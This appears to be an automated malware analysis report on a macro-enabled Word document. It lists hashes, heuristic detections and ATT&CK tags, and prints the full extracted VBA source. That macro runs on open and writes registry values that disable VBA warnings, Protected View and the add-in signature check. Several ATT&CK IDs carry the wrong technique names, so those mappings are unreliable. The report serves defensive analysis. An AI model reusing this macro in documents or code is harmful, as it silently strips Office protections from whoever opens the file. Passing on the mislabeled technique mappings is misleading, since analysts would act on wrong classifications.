Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3c1e758d8e961843…

MALICIOUS

Office (OOXML)

61.0 KB Created: 2020-03-20 15:06:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-08-10
MD5: e73cb886454a854fccd4eac723e05237 SHA-1: c5d84c5bf535a5f63f5fc523282ee5fcd1b4ae5f SHA-256: 3c1e758d8e9618430ce4edb8f97ee5ed9b8f969562b7a490311b8ef9493d6e02
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1546.001 Event Triggered Execution: Event Initialization T1137.001 Software Deployment: Infrastructure as Code T1505.003 Server Software Component: Exploit Public-Facing Application T1204.002 Malicious Link: Malicious File

The sample contains a VBA macro that executes automatically upon opening the document, leveraging `WScript.Shell` and `CreateObject` to modify Office security settings. Specifically, it writes to the registry key `HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings` with a value of 1, effectively disabling VBA warnings. This action is a common precursor to downloading and executing a secondary payload, although no direct download URL was found in the provided evidence.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Public Sub updateSettings()
    Set wso = CreateObject("WScript.Shell")
    wso.RegWrite "HKCU\Software\Microsoft\Office\" & Application.Version & "\Word\Security\VBAWarnings", 1, "REG_DWORD"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Public Sub updateSettings()
    Set wso = CreateObject("WScript.Shell")
    wso.RegWrite "HKCU\Software\Microsoft\Office\" & Application.Version & "\Word\Security\VBAWarnings", 1, "REG_DWORD"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
    updateStatus
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2528 bytes
SHA-256: 9c71a6ce330182df6397587af45cfb87112c5183e70f9cac731dd3994b644eac
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    updateStatus
    checkPRR
    updateFields
    updateSettings
End Sub


Attribute VB_Name = "mod_updateSettings"
Public Sub updateSettings()
    Set wso = CreateObject("WScript.Shell")
    wso.RegWrite "HKCU\Software\Microsoft\Office\" & Application.Version & "\Word\Security\VBAWarnings", 1, "REG_DWORD"
    wso.RegWrite "HKCU\Software\Microsoft\Office\" & Application.Version & "\Word\Security\Trusted Documents\DisableNetworkTrustedDocuments", 0, "REG_DWORD"
    wso.RegWrite "HKCU\Software\Microsoft\Office\" & Application.Version & "\Word\Security\RequireAddinSig", 0, "REG_DWORD"
    wso.RegWrite "HKCU\Software\Microsoft\Office\" & Application.Version & "\Word\Security\ProtectedView\DisableAttachmentsInPV", 1, "REG_DWORD"
    wso.RegWrite "HKCU\Software\Microsoft\Office\" & Application.Version & "\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
    wso.RegWrite "HKCU\Software\Microsoft\Office\" & Application.Version & "\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
    With ActiveWindow.View
        .RevisionsMode = wdBalloonRevisions
    End With
End Sub


Attribute VB_Name = "mod_updateStatus"
Public Sub updateStatus()
    Dim customprop As DocumentProperty
    
    For Each customprop In ThisDocument.CustomDocumentProperties
        If customprop.Name = "ETQ$CURRENT_PHASE" Then
            If customprop.Value = "Draft" Then
                customprop.Value = ""
            End If
        End If
    Next customprop
End Sub

Attribute VB_Name = "mod_updateFields"
Public Sub updateFields()
    For Each Field In ActiveDocument.Fields
        If CStr(Field.Code) Like "*ETQ$CURRENT_PHASE*" Or CStr(Field.Code) Like "*ETQ$REVIEW_DATE*" Then
            Field.Update
        End If
    Next Field
End Sub


Attribute VB_Name = "mod_checkPRR"
Public Sub checkPRR()
    Dim customprop As DocumentProperty
    
    For Each customprop In ThisDocument.CustomDocumentProperties
        If customprop.Name = "ETQ$REVIEW_DATE" Then
            If customprop.Value = "      " Then
                customprop.Value = "Not Applicable"
            End If
        End If
    Next customprop
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 31232 bytes
SHA-256: fcf21d3323a7fd9e2c322fa70fbe96cee1b0715df7ce00bc907fc6d06cb68031

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